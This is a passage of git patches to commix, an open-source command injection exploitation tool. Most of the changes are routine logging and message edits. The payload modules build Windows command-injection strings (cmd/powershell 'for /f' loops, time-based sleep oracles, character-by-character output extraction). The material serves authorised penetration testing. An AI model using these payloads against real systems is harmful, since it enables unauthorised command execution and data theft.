+ result = print_time() + ABORTION_SIGN + str(abort_msg) + Style.RESET_ALL
return result
# Print warning message
def print_warning_msg(warn_msg):
- result = WARNING_SIGN + str(warn_msg) + Style.RESET_ALL
+ result = print_time() + WARNING_SIGN + str(warn_msg) + Style.RESET_ALL
return result
# Print warning message
def print_bold_warning_msg(warn_msg):
- result = WARNING_BOLD_SIGN + str(warn_msg) + Style.RESET_ALL
+ result = print_time() + WARNING_BOLD_SIGN + str(warn_msg) + Style.RESET_ALL
return result
-# Print legal disclaimer message
-def print_legal_disclaimer_msg(legal_disclaimer_msg):
- result = LEGAL_DISCLAIMER + str(legal_disclaimer_msg) + Style.RESET_ALL
- return result
+# Print debug message (verbose mode)
+def print_debug_msg(debug_msg):
+ result = print_time() + DEBUG_SIGN + debug_msg + Style.RESET_ALL
+ return result
+
+# Print bold debug message (verbose mode)
+def print_bold_debug_msg(debug_msg):
+ result = print_time() + DEBUG_BOLD_SIGN + debug_msg + Style.RESET_ALL
+ return result
# Print request HTTP message
def print_request_msg(req_msg):
- result = REQUEST_SIGN + str(req_msg) + Style.RESET_ALL
+ result = print_time() + REQUEST_SIGN + str(req_msg) + Style.RESET_ALL
return result
# Print response HTTP message
def print_response_msg(resp_msg):
- result = RESPONSE_SIGN + str(resp_msg) + Style.RESET_ALL
+ result = print_time() + RESPONSE_SIGN + str(resp_msg) + Style.RESET_ALL
return result
# Print information message
def print_info_msg(info_msg):
- result = INFO_SIGN + str(info_msg) + Style.RESET_ALL
+ result = print_time() + INFO_SIGN + str(info_msg) + Style.RESET_ALL
return result
# Print bold information message
def print_bold_info_msg(info_msg):
- result = INFO_BOLD_SIGN + Style.BRIGHT + str(info_msg) + Style.RESET_ALL
+ result = print_time() + INFO_BOLD_SIGN + Style.BRIGHT + str(info_msg) + Style.RESET_ALL
return result
# Print payload (verbose mode)
def print_payload(payload):
- result = PAYLOAD_SIGN + str(payload) + Style.RESET_ALL
+ result = print_time() + PAYLOAD_SIGN + str(payload) + Style.RESET_ALL
return result
# Print HTTP traffic (verbose mode)
@@ -159,16 +173,6 @@ def print_sub_content(sub_content):
result = SUB_CONTENT_SIGN + sub_content + Style.RESET_ALL
return result
-# Print debug message (verbose mode)
-def print_debug_msg(debug_msg):
- result = DEBUG_SIGN + debug_msg + Style.RESET_ALL
- return result
-
-# Print bold debug message (verbose mode)
-def print_bold_debug_msg(debug_msg):
- result = DEBUG_BOLD_SIGN + debug_msg + Style.RESET_ALL
- return result
-
# Print output of command execution
def command_execution_output(shell):
result = Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
@@ -230,7 +234,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "64"
+REVISION = "65"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From af2f29d6f1b6d746c3eedcd4b79d11e9997172d6 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 18 May 2022 07:21:52 +0300
Subject: [PATCH 142/560] Trivial updates
---
src/core/injections/controller/checks.py | 4 +++-
src/core/main.py | 23 ++++++++++++-----------
src/core/requests/headers.py | 3 ++-
src/utils/settings.py | 2 +-
4 files changed, 18 insertions(+), 14 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 3090764f7d..7ac67add2c 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -144,6 +144,8 @@ def connection_exceptions(err_msg, url):
if isinstance(url, str):
_ = " Skipping URL '" + str(url) + "'."
if settings.MULTI_TARGETS or settings.CRAWLING:
+ if len(_) == 0:
+ _ = " Skipping to the next target."
error_msg = error_msg + _
if len(_) != 0 or not settings.MULTI_TARGETS or not settings.CRAWLING:
print(settings.print_critical_msg(error_msg))
@@ -151,7 +153,7 @@ def connection_exceptions(err_msg, url):
if settings.MAX_RETRIES > 1:
time.sleep(settings.DELAY_RETRY)
if not settings.VALID_URL :
- if not settings.MULTI_TARGETS and settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES:
+ if settings.TOTAL_OF_REQUESTS == settings.MAX_RETRIES and not settings.MULTI_TARGETS:
raise SystemExit()
"""
diff --git a/src/core/main.py b/src/core/main.py
index 32a1f4fb4a..8e7df4fdaa 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -788,12 +788,14 @@ def main(filename, url):
main(filename, url)
else:
+ output_href = []
# Check if option is "-m" for multiple urls test.
if menu.options.bulkfile:
bulkfile = menu.options.bulkfile
- info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
+ if os_checks_num == 0:
+ info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. "
+ sys.stdout.write(settings.print_info_msg(info_msg))
+ sys.stdout.flush()
if not os.path.exists(bulkfile):
print(settings.SINGLE_WHITESPACE)
err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist."
@@ -815,7 +817,6 @@ def main(filename, url):
# Check if option "--crawl" is enabled.
if settings.CRAWLING and settings.IS_TTY:
settings.CRAWLING_PHASE = True
- output_href = []
url_num = 1
if not menu.options.bulkfile:
crawling_list = 1
@@ -831,19 +832,19 @@ def main(filename, url):
output_href = crawler.normalize_results(output_href)
settings.CRAWLING_PHASE = False
else:
- output_href = []
filename = None
if settings.IS_TTY:
output_href = output_href + bulkfile
- else:
- info_msg = "Using 'stdin' for parsing targets list."
- print(settings.print_info_msg(info_msg))
+ else:
+ if os_checks_num == 0:
+ info_msg = "Using 'stdin' for parsing targets list."
+ print(settings.print_info_msg(info_msg))
menu.options.batch = True
bulkfile = sys.stdin
settings.MULTI_TARGETS = True
- for line in bulkfile:
- if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I):
- output_href.append(line.rstrip())
+ for url in bulkfile:
+ if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", url, re.I):
+ output_href.append(url.rstrip())
# Removing duplicates from list.
clean_output_href = []
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 81ab7d39e2..0b3ba804fe 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -193,7 +193,8 @@ def https_open(self, req):
if not settings.MULTI_TARGETS and not settings.CRAWLING:
pass
else:
- checks.connection_exceptions(err_msg, url=request)
+ if not settings.INIT_TEST:
+ checks.connection_exceptions(err_msg, url=request)
break
try:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index d8a92aa62d..dfc27cc035 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -234,7 +234,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "65"
+REVISION = "66"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 1ed6ba17ab35d668dfe487ba94b8c8d1a2b0c415 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 19 May 2022 07:44:24 +0300
Subject: [PATCH 143/560] Trivial fixes / updates
---
.../techniques/time_based/tb_enumeration.py | 4 +-
.../techniques/time_based/tb_payloads.py | 32 +++++++-------
src/core/injections/controller/checks.py | 9 ++++
src/core/injections/controller/controller.py | 4 +-
.../techniques/classic/cb_enumeration.py | 4 +-
.../techniques/classic/cb_payloads.py | 8 ++--
.../techniques/eval_based/eb_enumeration.py | 4 +-
.../techniques/eval_based/eb_payloads.py | 8 ++--
.../techniques/file_based/fb_enumeration.py | 4 +-
.../techniques/file_based/fb_payloads.py | 6 +--
.../tempfile_based/tfb_enumeration.py | 4 +-
.../techniques/tempfile_based/tfb_payloads.py | 44 +++++++++----------
src/core/modules/shellshock/shellshock.py | 8 ++--
src/core/requests/requests.py | 4 +-
src/core/tamper/backslashes.py | 24 +++-------
src/core/tamper/backticks.py | 2 +-
src/core/tamper/caret.py | 26 +++--------
src/core/tamper/dollaratsigns.py | 24 +++-------
src/core/tamper/doublequotes.py | 34 +++++---------
src/core/tamper/nested.py | 23 ++--------
src/core/tamper/singlequotes.py | 24 +++-------
src/core/tamper/slash2env.py | 27 +++---------
src/core/tamper/sleep2timeout.py | 18 ++++----
src/core/tamper/sleep2usleep.py | 24 ++++------
src/core/tamper/space2ifs.py | 13 ++----
src/core/tamper/space2plus.py | 4 +-
src/core/tamper/space2vtab.py | 7 +--
src/core/tamper/uninitializedvariable.py | 26 +++--------
src/utils/settings.py | 30 ++++++++++++-
29 files changed, 182 insertions(+), 267 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
index 4117841b91..25356a7de4 100755
--- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py
+++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
@@ -145,14 +145,14 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
if target_arch:
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
- info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL
+ info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL
info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch)
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The target operating system is " + str(target_os)
+ info_msg = "The underlying operating system is " + str(target_os)
info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py
index 5dab6f2186..aedfcc8710 100755
--- a/src/core/injections/blind/techniques/time_based/tb_payloads.py
+++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py
@@ -28,7 +28,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method):
if settings.TARGET_OS == "win":
if separator == "||" :
payload = (separator +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') "
+ "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') "
"do if %i==" +str(output_length) + " "
"(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")"
)
@@ -37,7 +37,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method):
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') "
+ "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') "
"do if %i==" +str(output_length) + " "
"(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")"
)
@@ -103,7 +103,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print len(\'" + TAG + "\')\""
if separator == "||" :
payload = (separator + " "
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" +str(output_length) + " "
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else "
@@ -114,7 +114,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + " "
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" +str(output_length) + " "
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else "
@@ -181,7 +181,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
if settings.TARGET_OS == "win":
if separator == "||" :
payload = (separator + " "
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" +
+ "for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" +str(output_length) + " "
"(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")"
@@ -191,7 +191,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + " "
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" +
+ "for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" +str(output_length) + " "
"(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")"
@@ -256,7 +256,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque
if settings.TARGET_OS == "win":
if separator == "||" :
payload = (separator + " " +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do if %i==" +str(output_length) + " " +
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else "
@@ -266,7 +266,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + " "
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do if %i==" +str(output_length) + " " +
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else "
@@ -332,7 +332,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met
if settings.TARGET_OS == "win":
if separator == "||" :
payload = (separator + " " +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " +
cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" +str(ascii_char)+
" (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")"
)
@@ -341,7 +341,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " +
cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" +str(ascii_char)+
" (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")"
)
@@ -417,7 +417,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "])\""
if separator == "||" :
payload = (separator + " "
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" +str(ascii_char) + " "
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else "
@@ -428,7 +428,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" +str(ascii_char) + " "
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else "
@@ -492,7 +492,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me
if settings.TARGET_OS == "win":
if separator == "||" :
payload = (separator + " " +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" +
+ "for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" +str(ascii_char)+
" (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")"
@@ -502,7 +502,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + " "
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" +
+ "for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" +str(ascii_char)+
" (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")"
@@ -559,7 +559,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt
if settings.TARGET_OS == "win":
if separator == "||" :
payload = (separator + " " +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do if %i==" +str(ascii_char) + " " +
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else "
@@ -570,7 +570,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand + " "
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do if %i==" +str(ascii_char) + " " +
"(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else "
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 7ac67add2c..d955cb27e2 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -1016,6 +1016,15 @@ def tamper_scripts(stored_tamper_scripts):
settings.MULTI_ENCODED_PAYLOAD.append(script)
import_script = str(settings.TAMPER_SCRIPTS_PATH + script + ".py").replace("/",".").split(".py")[0]
print(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1])
+ warn_msg = ""
+ if settings.EVAL_BASED_STATE != False and script in settings.EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS:
+ warn_msg = "The dynamic code evaluation technique does not support the usage of '" + script + ".py' tamper script. Skipping."
+ elif settings.TARGET_OS == "win" and script in settings.WIN_NOT_SUPPORTED_TAMPER_SCRIPTS:
+ warn_msg = "Windows targets do not support the usage of '" + script + ".py' tamper script. Skipping."
+ elif settings.TARGET_OS != "win" and script in settings.UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS:
+ warn_msg = "Unix targets do not support the usage of '" + script + ".py' tamper script. Skipping."
+ if len(warn_msg) != 0:
+ print(settings.print_warning_msg(warn_msg))
try:
module = __import__(import_script, fromlist=[None])
if not hasattr(module, "__tamper__"):
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 4d280a102c..9e3d1fb35c 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -342,7 +342,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
-
+ checks.tamper_scripts(stored_tamper_scripts=False)
+
info_msg = "Setting the"
if not header_name == " cookie" and not the_type == " HTTP header":
info_msg += " " + str(http_request_method) + ""
@@ -362,7 +363,6 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0:
warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded."
print(settings.print_warning_msg(warn_msg))
- checks.tamper_scripts(stored_tamper_scripts=False)
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Performing heuristic (basic) tests to the target URL."
print(settings.print_debug_msg(debug_msg))
diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
index dc75d4a03e..6b9cf1826e 100755
--- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py
+++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
@@ -162,14 +162,14 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_
else:
target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if target_arch:
- info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL
+ info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL
info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch)
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The target operating system is " + str(target_os)
+ info_msg = "The underlying operating system is " + str(target_os)
info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py
index 4bd50efe03..ab791c2c11 100755
--- a/src/core/injections/results_based/techniques/classic/cb_payloads.py
+++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py
@@ -31,7 +31,7 @@ def decision(separator, TAG, randv1, randv2):
)
else:
payload = (separator +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" +
+ "for /f \"tokens=*\" %i in ('cmd /c \"" +
"set /a (" + str(randv1) + "%2B" + str(randv2) + ")" +
"\"') do @set /p = " + TAG + "%i" + TAG + TAG + "< nul"
)
@@ -84,7 +84,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2):
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print '" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + TAG + "'\""
payload = (separator +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do @set /p =%i< nul"
)
@@ -114,7 +114,7 @@ def cmd_execution(separator, TAG, cmd):
)
else:
payload = (separator +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" +
+ "for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + "< nul"
)
@@ -152,7 +152,7 @@ def cmd_execution_alter_shell(separator, TAG, cmd):
)
else:
payload = (separator +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('" +
+ "for /f \"tokens=*\" %i in ('" +
settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('powershell.exe -InputFormat none write-host " + TAG + TAG + " $(" + cmd + ") "+ TAG + TAG + "')\"" +
"') do @set /p =%i< nul"
)
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
index 0b2bfb403f..b835b7724b 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
@@ -161,14 +161,14 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_
else:
target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if target_arch:
- info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL
+ info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL
info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch)
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The target operating system is " + str(target_os)
+ info_msg = "The underlying operating system is " + str(target_os)
info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
index f42196492c..91f5da7cd6 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
@@ -40,7 +40,7 @@ def decision(separator, TAG, randv1, randv2):
else:
if separator == "":
payload = ("print(`echo " + TAG + "`." +
- "`for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" +
+ "`for /f \"tokens=*\" %i in ('cmd /c \"" +
"set /a (" + str(randv1) + "%2B" + str(randv2) + ")" +
"\"') do @set /p =%i < nul`." +
"`echo " + TAG + "`." +
@@ -49,7 +49,7 @@ def decision(separator, TAG, randv1, randv2):
)
else:
payload = ("print(`echo " + TAG +
- separator + "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" +
+ separator + "for /f \"tokens=*\" %i in ('cmd /c \"" +
"set /a (" + str(randv1) + "%2B" + str(randv2) + ")" +
"\"') do @set /p =%i < nul" +
separator + "echo " + TAG +
@@ -155,7 +155,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2):
"""
def cmd_execution(separator, TAG, cmd):
if settings.TARGET_OS == "win":
- cmd = ( "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ cmd = ( "for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do @set /p =%i < nul"
)
@@ -201,7 +201,7 @@ def cmd_execution_alter_shell(separator, TAG, cmd):
payload = (separator +cmd + " "
)
else:
- python_payload = ("for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ python_payload = ("for /f \"tokens=*\" %i in ('cmd /c " +
settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + "')\"" +
"') do @set /p =%i < nul"
)
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
index f8d1f4f8eb..a78fc865cb 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
@@ -153,14 +153,14 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp
if target_arch:
# if settings.VERBOSITY_LEVEL != 0:
# print(settings.SINGLE_WHITESPACE)
- info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL
+ info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL
info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch)
sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The target operating system is " + str(target_os)
+ info_msg = "The underlying operating system is " + str(target_os)
info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
index b6089a7122..53a20f9b53 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
@@ -46,7 +46,7 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE):
if settings.TARGET_OS == "win":
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"open('" + OUTPUT_TEXTFILE + "','w').write('" + TAG + "')\""
payload = (separator +
- "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " +
+ "for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do @set /p =%i< nul"
)
@@ -78,7 +78,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE):
elif settings.TARGET_OS == "win":
